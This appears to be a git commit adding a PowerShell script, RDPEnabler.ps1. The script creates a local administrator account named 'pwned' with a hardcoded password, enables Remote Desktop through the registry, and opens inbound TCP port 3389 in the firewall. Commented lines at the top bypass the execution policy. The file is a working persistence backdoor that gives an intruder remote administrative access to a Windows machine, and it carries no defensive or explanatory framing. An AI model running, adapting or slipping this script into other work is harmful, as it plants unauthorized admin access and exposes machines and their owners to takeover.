Initial commit
This commit is contained in:
50
RDPEnabler.ps1
Normal file
50
RDPEnabler.ps1
Normal file
@@ -0,0 +1,50 @@
|
||||
#Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
|
||||
#Get-ExecutionPolicy -Scope CurrentUser
|
||||
|
||||
# Define the password for the user
|
||||
$Password = "YourSecurePassword123"
|
||||
|
||||
# Create the user 'pwned' with the specified password
|
||||
Write-Host "Creating user 'pwned'..."
|
||||
try {
|
||||
New-LocalUser -Name "pwned" -Password (ConvertTo-SecureString $Password -AsPlainText -Force) -FullName "pwned User" -Description "Automatically created user" -ErrorAction Stop
|
||||
Write-Host "User 'pwned' has been created."
|
||||
} catch {
|
||||
Write-Host "User 'pwned' already exists or an error occurred."
|
||||
}
|
||||
|
||||
# Add the user 'pwned' to the Administrators group
|
||||
Write-Host "Adding user 'pwned' to the Administrators group..."
|
||||
try {
|
||||
Add-LocalGroupMember -Group "Administrators" -Member "pwned" -ErrorAction Stop
|
||||
Write-Host "User 'pwned' has been added to the Administrators group."
|
||||
} catch {
|
||||
Write-Host "User 'pwned' is already a member of the Administrators group or an error occurred."
|
||||
}
|
||||
|
||||
# Enable Remote Desktop
|
||||
Write-Host "Enabling Remote Desktop..."
|
||||
try {
|
||||
Set-ItemProperty -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" -Name "fDenyTSConnections" -Value 0 -ErrorAction Stop
|
||||
Write-Host "Remote Desktop has been enabled."
|
||||
} catch {
|
||||
Write-Host "Failed to enable Remote Desktop or it is already enabled."
|
||||
}
|
||||
|
||||
# Check if the firewall rule for RDP exists
|
||||
$rdpRule = Get-NetFirewallRule -DisplayName "Remote Desktop" -ErrorAction SilentlyContinue
|
||||
|
||||
if ($rdpRule) {
|
||||
Write-Host "Firewall rule 'Remote Desktop' already exists. Skipping creation."
|
||||
} else {
|
||||
Write-Host "Creating firewall rule for Remote Desktop..."
|
||||
try {
|
||||
New-NetFirewallRule -Name "RDP Rule" -DisplayName "Remote Desktop" -Protocol TCP -LocalPort 3389 -Action Allow -Direction Inbound -ErrorAction Stop
|
||||
Write-Host "Firewall rule for Remote Desktop has been created."
|
||||
} catch {
|
||||
Write-Host "An error occurred while creating the firewall rule for Remote Desktop."
|
||||
}
|
||||
}
|
||||
|
||||
# Notify the user that all tasks have been completed
|
||||
Write-Host "All tasks completed successfully."
|
||||
Reference in New Issue
Block a user